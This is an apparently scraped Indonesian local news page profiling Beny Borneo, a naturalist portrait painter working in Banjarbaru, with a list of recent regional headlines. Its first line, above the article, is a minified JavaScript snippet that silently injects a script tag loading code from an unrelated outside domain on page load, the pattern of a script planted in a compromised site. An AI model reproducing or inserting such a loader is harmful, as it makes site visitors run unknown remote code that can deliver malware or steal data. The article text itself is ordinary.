(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Pingin Dibuatkan Lukisan Wajah, Datang Saja ke Sini


Di Banjarbaru, Beny sudah menjalani profesinya sebagai pelukis wajah kurang lebih selama tiga tahun. Semenjak lulus SMP, ia merantau ke Balikpapan untuk mendalami ilmu seni lukis ini. Setelah dari Balikpapan, tahun 2001 ia pergi ke Bali untuk mengikuti pameran-pameran seni lukis. Kemudian, di akhir tahun 2002, ia melanjutkan perjalanannya ke Jakarta untuk mendalami lagi ilmu seni lukis wajah.

Untuk mencari dan mendalami ilmu seni lukis wajah tidak hanya ia lakukan di Indonesia saja. Di pertengahan tahun 2008, ia berangkat ke Singapura untuk mengikuti kursus melukis di sana. Tidak lama di Singapura, ia akhirnya ke Malaysia dan meneruskan ke Kota Batam Kepulauan Riau. Selama 7 tahun tinggal di Batam, ia bergabung dengan pelukis-pelukis lainnya.

Sesuai dengan nama julukannya, Beny Borneo, ia tidak melupakan tanah kelahirannya di tanah Borneo, tepatnya Rantau, Kabupaten Tapin. Pada tahun 2015, ia kembali ke Banjarbaru sampai saat ini.

Pelukis yang menjadi inspirasi dan panutan Beny Borneo di antaranya Basuki Abdullah, dan Sugiono. Nama-nama itu merupakan penganut aliran seni lukis naturalis.

”Aliran naturalis itu melukis suatu objek yang nyata, seperti alam, manusia. Ada sebagian saya membikin lukisan karikatur di sini, karena mengikuti permintaan masyarakat maunya minta dilukiskan objek apa,” jelas Beny.

Kenapa Beny Borneo memilih aliran naturalis dalam karya-karya seninya? Dia mengatakan hal itu karena selera setiap seniman itu tidaklah sama, menyesuaikan dengan gaya mereka masing-masing.

”Aliran naturalis ini lebih mudah dipahami, oleh masyarakat juga lebih mudah diterima. Namun semua aliran itu memiliki keunikannya sendiri, kita tidak bisa merendahkan nilai aliran lain seperti apa. Saya juga kadang menerima pesanan dengan tema/aliran yang lain,” bebernya.

Sebelum menuangkan ide dan seninya ke media lukis seperti kanvas, karton dan sebagainya, terlebih untuk lukisan dengan objek manusia, Beny mengatakan harus mengerti terlebih dulu anatomi tubuh manusia. ”Tapi kalau sudah mahir, ya langsung saja gambar/lukis. Untuk skala perbandingan antara foto/objek asli dengan yang dilukis itu bebas saja, sesuai dengan permintaan masyarakat. Ada yang minta ukuran 30 x 40 cm, 40 x 50 cm atau yang lebih besar dari itu juga bisa. Kita sebagai pelukis hanya memberikan pelayanan,” terang pria kelahiran Rantau ini.

Salah satu hasil karya yang dipajang di depan bengkel seni Benny Borneo.


Page: 1 2

Desy Arfianty

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

1 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

4 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

6 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

6 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

9 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

9 jam ago

This website uses cookies.